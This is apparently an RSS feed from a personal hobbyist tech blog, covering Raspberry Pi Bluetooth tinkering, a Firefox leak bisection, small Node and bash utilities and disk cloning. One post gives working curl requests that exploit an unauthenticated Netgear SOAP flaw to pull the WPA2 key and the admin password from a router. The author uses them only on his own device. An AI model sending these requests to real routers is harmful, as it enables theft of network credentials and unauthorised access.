There is one blog entry that ll links regarding "bdaddr" go
http://blog.petrilopia.net/linux/change-your-bluetooth-device-mac-address/

and based on that it should be as easy as

<code>sudo ./bdaddr DE:AD:BE:EF:FF:FF</code>
it certainly comes back with the right results
<code class="output">Manufacturer:   Cambridge Silicon Radio (10)
Device address: 00:15:83:0C:BF:EB
New BD address: DE:AD:BE:EF:FF:FF

Address changed - Reset device now<code>

But nothing is ever easy. And so started my decent into madness...

I tried 
<code>/etc/init.d/bluetooth restart</code>
Unplugging the USB dongle and re-plugging it. Restarting the Pi. Nothing worked the Bluetooth address stayed the same.

<code>sudo ./bdaddr -ri hci0 DE:AD:BE:EF:FF:FF</code>
<code class="output">Manufacturer:   Cambridge Silicon Radio (10)
Manufacturer:   Cambridge Silicon Radio (10)
Device address: 00:15:83:0C:BF:EB
New BD address: DE:AD:BE:EF:FF:FF

Address changed - Device reset successfully<code>
Looked hopeful but

<code>hciconfig -a</code>
still showed the old address.
<code class="output">hci0:	Type: BR/EDR  Bus: USB
	BD Address: 00:15:83:0C:BF:EB  ACL MTU: 339:8  SCO MTU: 128:2
	UP RUNNING PSCAN 
	RX bytes:1414 acl:0 sco:0 events:52 errors:0
	TX bytes:446 acl:0 sco:0 commands:45 errors:0
	Features: 0xff 0x3e 0x85 0x30 0x18 0x18 0x00 0x00
	Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3 
	Link policy: RSWITCH HOLD SNIFF 
	Link mode: SLAVE ACCEPT 
	Name: 'rpibpluspowertest-0'
	Class: 0x000104
	Service Classes: Unspecified
	Device Class: Computer, Desktop workstation
	HCI Version: 2.0 (0x3)  Revision: 0xc5c
	LMP Version: 2.0 (0x3)  Subversion: 0xc5c
	Manufacturer: Cambridge Silicon Radio (10)
</code>

Everything I read said Cambridge Silicon Radio (CSR) based USB Bluetooth dongles should work.

I even tried sending commands directly to the device as per
http://blog.tremend.ro/2007/08/10/change-your-bluetooth-address-of-your-linux-machine/

which I modified to
<code>sudo bccmd -d hci0 psset -s 4 bdaddr 0×44 0×00 0×66 0×55 0×33 0×00 0×22 0×11</code>

but still no address change

I quick <a href="https://www.google.co.uk/search?q=BD+Address:+00:15:83:0C:BF:EB">Google of BD Address: 00:15:83:0C:BF:EB</a> shows many many people have the same address :(

It appears this maybe a fake CSR device
https://www.google.co.uk/search?q=csr+detect+fake+blueooth+device

<code>sudo hciconfig hci0 revision</code>
<code class="output">hci0:	Type: BR/EDR  Bus: USB
	BD Address: 00:15:83:0C:BF:EB  ACL MTU: 339:8  SCO MTU: 128:2
	Build 0
	Chip version: BlueCore01a
	Max key size: 0 bit
	SCO mapping:  PCM</code>

shows the chip version is only 01a and as v4 was out in 2010 I do not think i can go much further.
http://www.bluetooth.com/Pages/History-of-Bluetooth.aspx
http://wistao.blogspot.co.uk/2012/09/comparison-of-bluetooth-different.html

Oh well, it was cheap.


Just so no one can say I did not try everything I also followed 
http://www.raspberrypi.org/forums/viewtopic.php?p=283851&sid=ceb09f210473c3204e1d2644e807861f#p283851

"For Cambridge Silicon Radio Bluetooth Dongle work properly, you should make following:
add line "blacklist hci_usb" into /etc/modprobe.d/raspi-blacklist.conf and line "hci_usb reset=1" into /etc/modules. After reboot dongle work stably well."
to no avail.

There is more I would like to try with Bluetooth, but just not today/week/month/(year?)

wiimote as input controller
command line ssh from phone
</description>
</item>
<item>
<title>it cannot be difficult to change a bluetooth address</title>
<pubDate>Mon, 09 Mar 2015 21:28:27 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2015.html#p090320152128</link>
<description>
<a href="http://www.jumpstation.co.uk/flog/Mar2015.html#p090320152120">continued Bluetooth-ing</a>

I tried plugging both Bluetooth adaptors in and they both worked, sort of. The Bluetooth address was the same on both devices so I could not ask one to connect to the other. Not to worry it must be easy to change the address?

nope. The tool needed "bdaddr" is not included in any packages and must be built by the user.

<code>git clone git://git.kernel.org/pub/scm/bluetooth/bluez.git
cd bluez</code>

then it says just run <code>./configure</code>
<code class="output">no such file or directory</code>

<code>sudo apt-get install autoconf make automake cmake libtool libglib2.0 libdbus-1-dev libudev-dev libical-dev libreadline-dev</code> 
libtoolize --force
aclocal
autoheader
automake --force-missing --add-missing
autoconf</code>

I had to rerun the ./configure about 20 times to work out what dependencies needed to the apt-get'd line right

then I hit 

<code class="output">checking systemd system unit dir... configure: error: systemd system unit directory is required</code>
and found the magic incantation, that anyone should be able to work out on their own...

<code>./configure --prefix=/usr --mandir=/usr/share/man --sysconfdir=/etc --localstatedir=/var --enable-experimental --with-systemdsystemunitdir=/lib/systemd/system --with-systemduserunitdir=/usr/lib/systemd</code>

<code>make</code> ....

FAILED!
<code class="output">
  CCLD   tools/mcaptest
/usr/bin/ld: profiles/health/mcap.o: undefined reference to symbol 'clock_getres@@GLIBC_2.4'
//lib/arm-linux-gnueabihf/librt.so.1: error adding symbols: DSO missing from command line
collect2: ld returned 1 exit status
Makefile:4210: recipe for target 'tools/mcaptest' failed
make[1]: *** [tools/mcaptest] Error 1
Makefile:2668: recipe for target 'all' failed
make: *** [all] Error 2</code>

but not to worry "bdaddr" was built, success!
</description>
</item>
<item>
<title>basic bluetooth on the raspberry pi</title>
<pubDate>Mon, 09 Mar 2015 21:20:34 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2015.html#p090320152120</link>
<description>
One of the things I have never had but has been cheap enough to buy on a whim is a Bluetooth USB adaptor. I order one a couple of months ago and stored it unopened in a draw. On opening it I found it was two wedged together, time to play.


After an update
<code>sudo apt-get update -y
sudo apt-get upgrade -y</code>
plus a quick clean up
<code>sudo apt-get autoremove</code>

Following the instructions from http://www.modmypi.com/blog/installing-the-raspberry-pi-nano-bluetooth-dongle

now get the Bluetooth software
  
<code>sudo apt-get install bluetooth bluez-utils blueman</code>

(blueman is the GUI and not needed for command line only Bluetooth-ing, so then uninstalled it)

<code>/etc/init.d/bluetooth status</code>
shows that a reboot is not required

<code>hcitool scan</code>
<code class="output">scanning...</code>
nothing, turn Bluetooth on on phone
<code class="output">scanning...</code>
nothing, hmmm ah I need to set my phone "visible" and now it appears in the scan

I can name my Pi then ping my phone
<code>sudo hciconfig hci0 name mepi
sudo hciconfig hci0 piscan
sudo l2ping -c 1 60:BE:B5:59:65:72</code>

But what to do with two adaptors ...
</description>
</item>
<item>
<title>Naughtiest adult from the raspberry pi birthday party announced</title>
<pubDate>Mon, 09 Mar 2015 21:18:45 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2015.html#p090320152118</link>
<description>
I mentioned the Space Invaders and Tetris party games that I scored highly on at the <a href="http://www.jumpstation.co.uk/flog/Mar2015.html#p020320151933">Raspberry Pi 3rd Birthday party</a>. It seems I did not get the highest score on those but rather remarkably I did score the highest on another party game.

Yes I am the "Naughtiest" at the party (in the adult section).

No idea what I won but the game was a random number generator based on your hand size. When I child put their hand in the scanner they got a low "Naughty" value and when a larger hand was presented a large "Naughty" value. Maybe I just have the largest hands of anyone who tried the game.

https://learn.adafruit.com/naughty-or-nice-machine/overview
</description>
</item>
<item>
<title>Raspberry Pi 3rd Birthday party Cambridge</title>
<pubDate>Mon, 02 Mar 2015 19:33:34 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2015.html#p020320151933</link>
<description>
WOW! The kids and I are still reeling from the awesome that was the Raspberry Pi 3rd birthday party, if you use the "last day in February" rather February 29th.
It started well with the organisers making a huge effort to provide (well in advance) as much detail as possible, not to mention the low cost.
There is so much to share this is just going to sound like a keyword trap but, here we go(in no particular order;

3D printer - with demos of interlocking pieces,
Tetris - Raspberry Pi powering 64x64 LED screen, I had the top score for most of the evening,
Hampster cam,
Naughty/Nice detector, 
Pizza(more than enough), 
Robots - I liked the "Big Trak"&trade; based ones, 
Chocolate pooping rabbit - kids kept sneaking back to this when I was not looking, 
Space Invaders - had to show of my mad skilz,
BBS micro(not Pi powered) - had SD card with 100s of games, 
Thermal printer - kids got banners printed with their names,
Pass the Parcel - madness/chaos/fun and free stuff(see below),
Cake - perhaps unsurprisingly it was a giant Raspberry Pi(very tasty),
Minecraft - interactive game, with hardware interface, 
Game of Life - this was on the same 64x64 LED setup as Tetris,
Scratch - we created a two player game with a blue Pacman&trade; chasing an apple, 
ISS detector - chatted with designer, 
Swag -(see below),
Free drinks - to go with the pizza and cake,
Scratch - this time connecting to GPIO pins to control traffic lights, 
Jazz played via a lava lamp web cam - colours changed the instruments etc, 
More robots, 
Party bags -(see below)
The really useless machine - it is just a switch that activates a "finger" that switches it off again(kids could not leave it alone),
Presentations - Kids did great job of presenting their two scratch projects,
Announcement chair - Not Pi powered but great fun, select for title, type and location and it would set off a fan-fair followed by speaking your selection,
not to mention all the great staff, sponsors and volunteers. 
Thanks to everyone for making it such a great day!!

So what did we walk away with?
First up I bought a <a href="http://thepihut.com/collections/gifts-10-and-under/products/camjam-edukit-2-sensors">CamJam EduKit #2 tin</a>for each of them, which was funny because we then used similar kits to connect LEDs to the Scratch environment.

Then there was the Swag just walking around between the stalls. Some were shops like <a href="http://thepihut.com/">Pi Hut</a> and <a href="https://www.modmypi.com/">ModMyPi</a>, other companies like <a href="https://www.realvnc.com/">RealVNC</a> and <a href="http://www.ragworm.eu/index.php">Ragworm</a> but also individuals showing off their projects(of which I have failed to list many, above). From the swag we ended up with bags, badges, pens, hats, key rings, licence keys, stickers and even safety glasses(for soldering).

The Party bags we got on leaving were good as well. Balloons, cables, stickers, USB key, stickers, water bottles and more stickers, plus money off, free ebook downloads and a printed copy of the <a href="www.themagpi.com/">MagPi magazine</a>(old copies, but we love 'em) each.

Finally we have the pista resistance the Pass the Parcel prizes. This game was madness as no one knew what was going on and the PA operator was not understandable. It started off with about 100 people all standing around the main tables expecting to play classic "pass the parcel" and when a number of prize bags were given out it was not to surprising. But then more and more bags were given out and we were told to keep passing the down. This went on for what seemed half an hour before I heard someone remark that if the bag you had had something you wanted you could just step away from the tables. We could see into the bags to a small degree, some where large or heavy others light and small. Finally the music started and the chaos ensued. There were back logs where slow people were causing presents to build up and then the music stopped and everyone started at the bag in their hands. Of course by this point some people were sans bag. Unsure if that was it and we should open out bags the music started again! This time some people had left the tables with bags. Was this what we were supposed to do? When the music stopped we cut out loses and took what ever we had.

What a mixed selection we got. I got a LED badge soldering kit and a Drawdio, Joseph got a collection of stickers, some sew on patches and a <a href="https://www.piborg.org/xloborg">Pi Borg - xloborg </a>. Alex got the Adventures in Raspberry Pi book. Then someone handed Joseph a conductive ink pen(unopened) and later when were "helping" finish the pizzas someone else gave us another copy of Adventures in Raspberry Pi book(which he later got signed by Carrie Anne), we did not know the first book was in the original bag.

Here is most, but not quite all we came home with. I did not put out some of the worksheets or spread out all the stickers!

<img src="images/raspberrypipartyswag20150229.jpg" alt="bags and bags of swag from the Raspberry Pi 3rd birthday party weekend Cambridge 20150229" />


thank you from Alex, Joseph and me(dad).

(sorry to anyone or anything I missed out, but it we were there for over 10hrs!)

Of course, now the real fun starts. The kids are desperate to start hacking!
</description>
</item>
<item>
<title>Tracked down my firfox memory leak to a single commit</title>
<pubDate>Wed, 25 Feb 2015 21:31:35 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2015.html#p250220152131</link>
<description>
It's I time to return to <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=firefix">FireFix</a>.

I have mountains of notes about all this but I going to condense it all down to the following.

Ran http://mozilla.github.io/mozregression/ which builds each version in turn, runs it then asks you if there were any problems.

this narrowed the issue date to around the beginning of December 2013 and gave a short list of the actual changesets

http://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=9688476c1544&tochange=725c36b5de1a

which I worked through and got a smaller set of commits

http://hg.mozilla.org/mozilla-central/pushloghtml?startdate=Nov+20+2013&enddate=Dec+4+2013

of the 40, I failed to build the first 12, then the next 4 built and worked fine and then the 5th built but exhibited the issue. This was the commit that had my bug in it.
http://hg.mozilla.org/mozilla-central/rev/6787bcb8ea7e

just 10 files, unfortunately they are not straight forward.

<code class="output">js/src/jit-test/tests/ion/bug715460.js
js/src/jit-test/tests/ion/bug900437.js
js/src/jit-test/tests/ion/divmodself.js
js/src/jit/MIR.cpp 		
js/src/jit/shared/CodeGenerator-x86-shared.cpp 
js/src/jit/shared/CodeGenerator-x86-shared.h 
js/src/jit/shared/LIR-x86-shared.h 		
js/src/jit/shared/Lowering-x86-shared.cpp 	
js/src/jit/x64/LOpcodes-x64.h 		
js/src/jit/x86/LOpcodes-x86.h </code>		
I now need to try and manually roll back changes to see if that "fixes" the issue.
</description>
</item>
<item>
<title>flog link generator gets slapped</title>
<pubDate>Fri, 20 Feb 2015 20:42:47 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2015.html#p200220152042</link>
<description>
oops, my over zealous flog link generator went a bit nuts there making things links.
</description>
</item>
<item>
<title>simple node sloth server avoids proxy panic</title>
<pubDate>Fri, 20 Feb 2015 20:38:42 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2015.html#p200220152038</link>
<description>
I needed a quick way to server local files with a delay to test a JavaScript image loader. There are many option out there from tc(traffic control) to running a proxy. "tc" is frighteningly complicated and many blog posts about it start with dire warnings. I really did not want to install a proxy just for this one little thing.

So I created "sloth server" the most basic of node based file servers that force response to be delayed.

enjoy, it worked for me!

<code>#!/usr/bin/env node 
// sloth server
// 20150220
// Server flat files from current directory with caching disabled
// all files are served with a delay
// usage
// node sloth\ server.js &lt;port&gt; &lt;delay in ms&gt;
// e.g.
// node sloth\ server.js 1111 5000
// will run on port 1111 and delay each response by at least 5 seconds
//
"use strict";
var fs = require('fs');
var http = require('http');
var url = require('url');
var baseDirectory = __dirname;   // or whatever base directory you want
var port = 9000;
var delay = 2000;
var portarg = process.argv.slice(2);
if (portarg) {
    port = parseInt(portarg,10);
   }
var delayarg = process.argv.slice(3);
if (delayarg) {
    delay = parseInt(delayarg,10);
   }
console.log('sloth server is starting from ' +  __dirname + ' on port ' + port + ' all request will take a minimum of ' + delay + 'ms');

http.createServer(function (request, response) {
   var requestUrl = url.parse(request.url);
   var fsPath = baseDirectory+requestUrl.pathname;

	console.log('Attempting to serve ' + fsPath);
    fs.exists(fsPath, function(exists) {
       if(exists) {
         response.writeHead(200, { 'Cache-Control': 'no-cache, private, no-store, must-revalidate, max-stale=0, post-check=0, pre-check=0'});
         fs.readFile(fsPath, function (e,r) {
         	setTimeout(function() {
         	         	response.end(r);
         	}, delay);

         });
       } else {
         response.writeHead(404);
         response.end(fsPath + ' does not exist');
       }
    })
}).listen(port);
</code> 
</description>
</item>
<item>
<title>curling my way past Ruby and into the netgear router leaks</title>
<pubDate>Wed, 18 Feb 2015 22:33:26 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2015.html#p180220152233</link>
<description>
I came across this new Netgear router issue that exposes WiFi WPA2 key and router admin password(amongst other things), but its in Ruby and I did not want to have to install that. 
https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR
So I created these curl equivalent calls.
<code>ROUTER=http://192.168.1.1
curl --header "SOAPAction:urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo" --data "''=''" $ROUTER
curl --header "SOAPAction:urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetInfo" --data "''=''" $ROUTER
curl --header "SOAPAction:urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetWPASecurityKeys" --data "''=''" $ROUTER
curl --header "SOAPAction:urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo" --data "''=''" $ROUTER
curl --header "SOAPAction:urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetAttachDevice" --data "''=''" $ROUTER
</code>

The output is all messy XML but the data is in plain text and easy enough to read. Sadly my Netgear WNR220 is affected :(

The key seems to be the not quite empty data payload "''=''".

Now watching out a firmware upgrade from Netgear.
</description>
</item>
<item>
<title>Random file podcast vs random group</title>
<pubDate>Mon, 16 Feb 2015 18:25:47 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2015.html#p160220151825</link>
<description>
I am still fighting the good fight against the <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=leak"> firefox memory leak</a> and desperately trying not to get distracted by anyt... oh shiny!

But life goes on and I needed to scratch an itch.

My podcasts have been building up and I hate listening to the same brand one after another so I started trying to randomly name the files. 

<code>#!/bin/bash
# takes a file prefix and a folder and adds a random number to all the mp3's that match
prefix=$1
if [ -z $prefix ]; then
	echo "need to supply a prefix"
	exit
fi
target=$2
if [ -z $target ]; then
	echo "need to supply a target folder (including the trailing slash)"
	exit
fi
pushd $target
for fname in $prefix*.mp3
do
   mv $fname ${RANDOM}_${fname}
done
popd
</code>

But this created a new problem that I would listen to the podcasts out of sequence.

What I needed was a group randomiser.

<code>#!/bin/bash
#podcast randomiser
#20150213

TARGET=$1
if [ -z $TARGET ]; then
	TARGET=/tmp/podcasts
fi

echo "Targeting $TARGET"

function next() {
# loop though each name and get oldest file
	NAMES=$1
	COUNTER=$2
	unset TEMP
	for element in $(seq 0 $((${#NAMES[@]} - 1)))
	do
		    echo "Looking for pattern ${NAMES[$element]}_*.mp3"
		    FOUND=$(find $TARGET -name "${NAMES[$element]}_*.mp3" | sort -n | head -n 1)
			echo "Found matching $FOUND"
			TEMP=("${TEMP[@]}" $FOUND)
	done
	WINNER=${TEMP[$RANDOM % ${#TEMP[@]} ]}
	echo "Winner of this round is $WINNER"
	# move the WINNER to its numbered filename and set extension
	PAD=$(printf "%05d" $COUNTER)
	TEMPFN=$(echo $WINNER | sed -re "s/(.*)\/([^/]+\.mp3)/\1\/"$PAD"_\2/" | sed -re "s/\.mp3$/\.tmp/")
	mv $WINNER $TEMPFN
}

NAMES=( $(find $TARGET -iname "*.mp3" -printf "%f\n" | egrep -o "^[^_]+" | sort -u) )
FILES=( $(find $TARGET -iname "*.mp3" ) )
for COUNTER in $(seq 0 $((${#FILES[@]} - 1))); do
	next $NAMES	$COUNTER
	echo "========= count at $COUNTER"
done 

echo "moving all .tmp files back to mp3"
for fn in $TARGET/*.tmp
do
	mv $fn $TARGET/$(basename $fn .tmp).mp3
done
</code>
</description>
</item>
<item>
<title>Speedy look at 2014 numbers of fun</title>
<pubDate>Sun, 01 Feb 2015 12:16:06 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2015.html#p010220151216</link>
<description>
Whats this? Its only February and the <a href="http://www.jumpstation.co.uk/flog/year2014.html">2014 yearly summary is complete</a> and the <a href="http://www.jumpstation.co.uk/flog/archive.html">archive</a> is updated, I must be feeling unwell.

It was a hell of a year, not a single missed month and over 60 posts! There was my <a href="https://github.com/robgithub/2048-investigations">first github project &quot;2048 investigations&quot;</a> shortly followed by the <a href="https://github.com/robgithub/html5eyeball">HTML eyeball project</a> and then the <a href="https://github.com/robgithub/wheelofdestiny">Wheel of Destiny</a>.

There were even more Raspberry Pi projects/fun
<a href="Dec2014.html#p161220142208">16 December 2014 - 22:08 motioning the raspberry pi camera into dropbox</a><br><a href="Nov2014.html#p281120142117">28 November 2014 - 21:17 Pumpkin Pi slows down as it reaches X</a><br><a href="Nov2014.html#p281120142054">28 November 2014 - 20:54 Pumpkin pi gets diffuse</a><br><a href="Sep2014.html#p240920142208">24 September 2014 - 22:08 Pycon UK 2014 kids robots quad-copters Minecraft and raspberry pis</a><br><a href="Sep2014.html#p060920142206">06 September 2014 - 22:06 Cat in motion bothers pi camera</a><br><a href="Jul2014.html#p230720142059">23 July 2014 - 20:59 Raspberry Pi WPA2 capture and decryption</a><br><a href="Jul2014.html#p130720140835">13 July 2014 - 08:35 What sizes will motion like for the raspberry pi camera</a><br><a href="Jul2014.html#p120720141944">12 July 2014 - 19:44 uv4l userspace driver gives life to motion and the raspberry pi camera</a><br><a href="Mar2014.html#190320142109">19 March 2014 - 21:09 Stepper motor python twins and the Raspberry Pi</a><br><a href="Feb2014.html#180220142257">18 February 2014 - 22:57 Load testing the stepper motor with 90p</a><br><a href="Feb2014.html#110220142346">11 February 2014 - 23:46 raspberry pi is stepping up</a><br><a href="Feb2014.html#080220141131">08 February 2014 - 11:31 Making the Pi listen to the Daffodil</a><br><a href="Jan2014.html#280120142220">28 January 2014 - 22:20 PiGlow makes me pi eyed</a>
and there was the sad news that I can <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=leak">write machine crippling JavaScript</a>, but only on my machine. I still hope to fix this one day.
</description>
</item>
<item>
<title>Latest firefox release still leaks all over my computer</title>
<pubDate>Sat, 31 Jan 2015 11:28:35 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2015.html#p310120151128</link>
<description>
Just for my sanity I downloaded the latest Firefox release 36.0b from the <a href="https://ftp.mozilla.org/pub/mozilla.org/firefox/releases/">nightlies</a> and ...

It still leaks :(

I was really hoping this problem was going to go away on its own.
<a href="http://jumpstation.co.uk/flog/tags.html?tag=leak">previously</a>
</description>
</item>
<item>
<title>Apple TV hides behind wrong cable</title>
<pubDate>Thu, 29 Jan 2015 21:33:38 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2015.html#p290120152133</link>
<description>
Here are more tales of computing woe from this Christmas:
A friend got an Apple TV for Xmas and asked me to install it and set it up. The Apple TV is yet another video streaming device for HDMI TVs. Fully compatible with IPhone/Pads with Apple ready to take every penny when you want to buy/rent a movie.

This should have been the simplest setup ever but, Apple deliberately make it more difficult than it has to be.

Step one; get MAC address to add it to the WiFi, nothing on/in the box or device, surely it will be in the settings when we turn it on. Like hell it is!

Step two; turn on the Apple TV. All you have to do is place a compatible Apple device on top of the box and NFC transfers the Apple account and wifi security information. Awesome idea but we got a big fat CONNECTION ERROR.

AGHHHhhh...!! I know you cannot connect, just give me the MAC address and I will allow you to connect!

Not to worry it has a classic ethernet port. Find a cable plug it in and box works fine, but there is a big cable on the floor that a) shouldn't be there and b) is needed elsewhere.

The box is happy we are not. Just go in to the settings and find the elusive WiFi MAC address ... but its NOT there!

Seriously there are no WiFi options in any of the settings! How can this be? It's billed as a wireless device.

Much hunting through the forums and it turns out that the Apple TV hides WiFi settings when an ethernet cable is attached. That's right, some bright spark deliberately added the extra programming work to remove the one piece of information I need, and only when I connect in the only way possible.

Now the box is setup, the ethernet cable can be unplugged and the box restarted all to get to the Wifi settings to get the MAC address, which for all other manufacturers is on the box or the device.

Why lock down the WiFi via MAC filtering? Well its an ADDITIONAL step on top of other security layers and if it is easier to break into a non MAC filtered access point two doors down then that's what the thief/opportunist will do.
</description>
</item>
<item>
<title>ASUS motherboard resists USB boot gang</title>
<pubDate>Tue, 27 Jan 2015 22:52:54 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2015.html#p270120152252</link>
<description>
And now the thrilling conclusion to <a href="http://www.jumpstation.co.uk/flog/Jan2015.html#p250120152225">&quot;Copying a Hard drive, a perfect storm&quot;</a>

Let me start with stating again the very few humans will ever come across this bit of pain, but if you have an older ASUS motherboard M4N68T-M LE V2 this tale should be read to conclusion.

Now if you remember from <a href="http://www.jumpstation.co.uk/flog/Jan2015.html#p250120152225">last time</a> I had successfully created a <a href="http://clonezilla.org">Clonezilla</a> live USB stick. Unfortunately that was just pure luck, I went on to try and create a <a href="http://gparted.org/">gparted</a> bootable usb key with <a href="http://unetbootin.sourceforge.net/">unetbootin</a> but on booting got
<code class="output">SQUASHFS error</code>

I also tried to build the USB drives with <a href="http://tuxboot.org/">Tuxboot</a> and <a href="https://rufus.akeo.ie/">rufus</a> which each had there own strengths and weaknesses but were really interchangeable for what I was trying to do. For instance <a href="http://tuxboot.org/">Tuxboot</a> looks the same as <a href="http://unetbootin.sourceforge.net/">unetbootin</a> but has a <a href="http://gparted.org/">gparted</a> menu entry.

4hrs later and the original flash drive (1GB ocz) still works but all the myriad of others all fail some in different ways than others.
Included in my assortment of old USB drives from various manufacturers are 256MB, 512MB, 1GB, 4GB and my favourite a 4GB micro drive. That's right, a tiny 2&quot;x2.5&quot;x0.5&quot; black box that houses a spinning disk. Back in the olden days it was strongly believed that USB keys could not be used for anything other than occasional access due to the limited RW cycles allowed. Now we know that even with continuous use those numbers of cycles are rarely reached.

Now I had read a few very old posts noting that USB keys are sometimes set with a &quot;DRIVE/DISK&quot; flag that indicates it can be used for booting, but apart from rumours I found no way of accessing this flag. Then I had idea to search for other users of ASUS motherboards/BIOS having similar issues. Rather worryingly the first hit was my exact motherboard and version. There was no solution but it did make me look again at the BIOS settings.

BIOS ASUS motherboard M4N68T-M LE V2 with AMI BIOS

If I look at the working USB stick in the BIOS it reports it as
<code class="output">Flash Drive AU_USB2</code>
and none of the others report &quot;Drive&quot;

Found a few settings in the BIOS under &quot;Advanced&quot; - &quot;USB Configuration&quot;
Legacy USB support was [AUTO] changed to [Enabled]
also the &quot;USB Mass Storage Device Configuration&quot; - &quot;Emulation&quot; type was [Auto]

I tried changing it to 
[Floppy] - got a new error "Boot Error" or nothing(HP 4gb only)
[Forced FDD] - HP stick tested worked fine!!! the others still gave boot error
[Hard Disk] - Reported no boot media (micro drive), some of the other usb drives now worked, but previously working ones did not.
[CDROM] - Nothing seemed to work.

Rather bizarrely the USB sticks would not work even with the different emulation types unless I force the boot selector to appear and selected the USB drive.

So I now had the method of booting from USB but just for fun the <a href="http://gparted.org/">GParted</a> live cd then failed on default GFX settings.

tried &quot;GParted Live (Safe graphic settings, vga=normal)&quot; from the <a href="http://gparted.org/">GParted</a> boot menu, and then set the resolution to 800x600 16 colours VESA and got a garbled X
again with 640x480 16 colour VESA = garbled
1024x768 24 colour ATI no X
switch to second tty and killall xinit 
tried VESA with all resolutions and 8 colours, few garbled results and one that looked like it was melting the screen
tried ATI with all resolutions and 8 colours, not even a garbled result
also tried with radeon.modeset=0
radeon.modeset=1
out of luck, so i downloaded the <a href="http://www.sysresccd.org/">sysresccd</a> ISO that comes with <a href="http://gparted.org/">GParted</a>

and same unsupported video mode :(
even parameters doxdetect forcevesa
but I do have an old LCD tv as my monitor maybe it is at fault!

Managed to pinch a standard vga monitor and it worked, then the <a href="http://www.sysresccd.org/">sysresccd</a> did not have an icon <a href="http://gparted.org/">GParted</a> but running it from the command line worked and ...
in less than 2 mins the partition was resized. re-setup the BIOS to boot from the new SSD and finally a new 120GB drive working in place of my old 40GB.

I hate to think how many hours this &quot;simple&quot; task took, but next time I will be prepared!
</description>
</item>
<item>
<title>All I had to do was copy one drive to another</title>
<pubDate>Sun, 25 Jan 2015 22:25:11 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2015.html#p250120152225</link>
<description>
I had a 40GB SDD as my main drive after a <a href="http://www.jumpstation.co.uk/flog/Aug2011.html#200820112134">60GB SSD failed miserably</a>. Having a smaller drive had its advantages, I could do a complete backup to USB key.

Of course over time 40GB became a little bit small. I only started to run out of space when doing many Firefox builds, trying to resolve <a href="http://www.jumpstation.co.uk/flog/Nov2014.html#p211120142115">my ongoing issue</a>. So I got a nice new 120GB Intel SSD for Xmas and installed it. Great time to make a backup before installing the new drive and hoovering the case fans(urck!)

BIOS found the new drive no problem, all I had to do was copy everything over...

Now this is where things start to go all pear shaped. Not to worry, lots of people were exclaiming how easy it was, there is even a live CD based GUI tool...

<a href="http://clonezilla.org">Clonezilla</a>, installed it to a neglected 1GB usb key via <a href="http://unetbootin.sourceforge.net/">unetbootin</a>. Booted, followed all the clonezilla instructions, checked again and again I was copying the small drive to the big and selected local drive copy then accepted all the defaults (there were big warnings that these should not be changed) and let it run.

Shutdown, physically swapped drives, booted and got
<code class="output">GRUB</code>

hmmmm, not good.  

Removed all the drives except the new one and booting got 
<code class="output">error: file '/grub/i386-pc/normal.mod' not found.
grub rescue&gt;</code>

and nothing seemed to work(should have been a matter of TAB selecting the defaults).

rebooted to <a href="http://clonezilla.org">Clonezilla</a> after putting the drives back
exited to shell when offered and ran
<code>sudo -s
fdisk /dev/sda</code>

made sure it said 
<code class="output">Disk /dev/sda:40.0 GB</code>

then
<code>fdisk /dev/sdb</code>

made sure it said 
<code class="output">Disk /dev/sdb:120.0 GB</code>

and I typed 
<code>dd if=/dev/sda of=/dev/sdb</code>

and then I found
http://unix.stackexchange.com/questions/144172/full-dd-copy-from-hdd-to-hdd

which states cat is a better option
<code>date;time cat /dev/sda > /dev/sdb
date;</code>
just shows the date and time and then executes the next command

<code>time</code>
will 'time' the following command
<code>cat /dev/sda</code>
will stream each byte of /dev/sda (remember all block devices are files in Linux)
<code>&gt; /dev/sdb</code>
will take that stream and send it to the /dev/sdb block device.

in total it took just over 5 minutes. I removed the old drive and set the new one in its place...

and it worked, perfectly. Except maybe one minor problem, the partition table copied from the old drive was reporting a drive capacity 40GB not 120GB.

Created a <a href="http://gparted.org/">gparted</a> bootable usb key and although it stuck at
<code class="output">modprobe: module swap not found in modules.dep</code>
and then errored for ages, it did allow me to resize the partition.

I am skipping over a painful bit that I doubt anyone else will ever encounter, but for my own reference I was detail in the next post.
</description>
</item>
<item>
<title>PiHUB scores big with power hungry HDMI VGA adaptor</title>
<pubDate>Thu, 22 Jan 2015 22:01:41 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2015.html#p220120152201</link>
<description>
Someone at work gave a me a nice old LCD VGA monitor after I enquired about purchasing a slightly damaged one. This was great because I had got another HDMI-&gt;VGA for Xmas.

&quot;Another one&quot; you say? Yep, I am up to three now. The kids have a 21&quot; CRT monitor each for the Raspberry Pis they were either given or won. The passive and very cheap adaptors have worked perfectly every time with these behemoths(about 20kg each).

So I happily plug in my new acquisition and the screen turns on and the text starts scrolling and then... the screen goes off... and then the red LED on the Pi starts flashing. This is a Model B+ and flashing red means power problems :(

After reading numerous thread where the decree is laid down &quot;Passive HDMI-&gt;VGA adaptors do not work with the Pi&quot; I was ready to throw in the towel, but I know that's not true, never had a bad day with the CRTs.

